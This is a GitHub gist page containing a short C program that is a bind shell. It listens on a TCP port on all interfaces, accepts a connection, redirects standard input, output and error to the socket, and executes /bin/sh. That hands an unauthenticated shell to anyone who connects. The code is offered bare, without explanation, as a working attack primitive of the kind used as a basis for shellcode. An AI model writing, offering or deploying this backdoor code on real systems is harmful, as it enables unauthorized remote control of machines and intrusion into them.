Created
April 21, 2011 12:49
-
-
Save undetected1/934416 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
int soc, cli; | |
struct sockaddr_in serv_addr; | |
int main(void) { | |
soc = socket(2, 1, 0); | |
serv_addr.sin_addr.s_addr = 0; | |
serv_addr.sin_port = 43690; | |
serv_addr.sin_family = 2; | |
bind(soc, (struct sockaddr *)&serv_addr, 16); | |
listen(soc ,1); | |
cli = accept(soc, 0, 0); | |
dup2(cli, 0); | |
dup2(cli, 1); | |
dup2(cli, 2); | |
execve("/bin/sh", 0, 0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment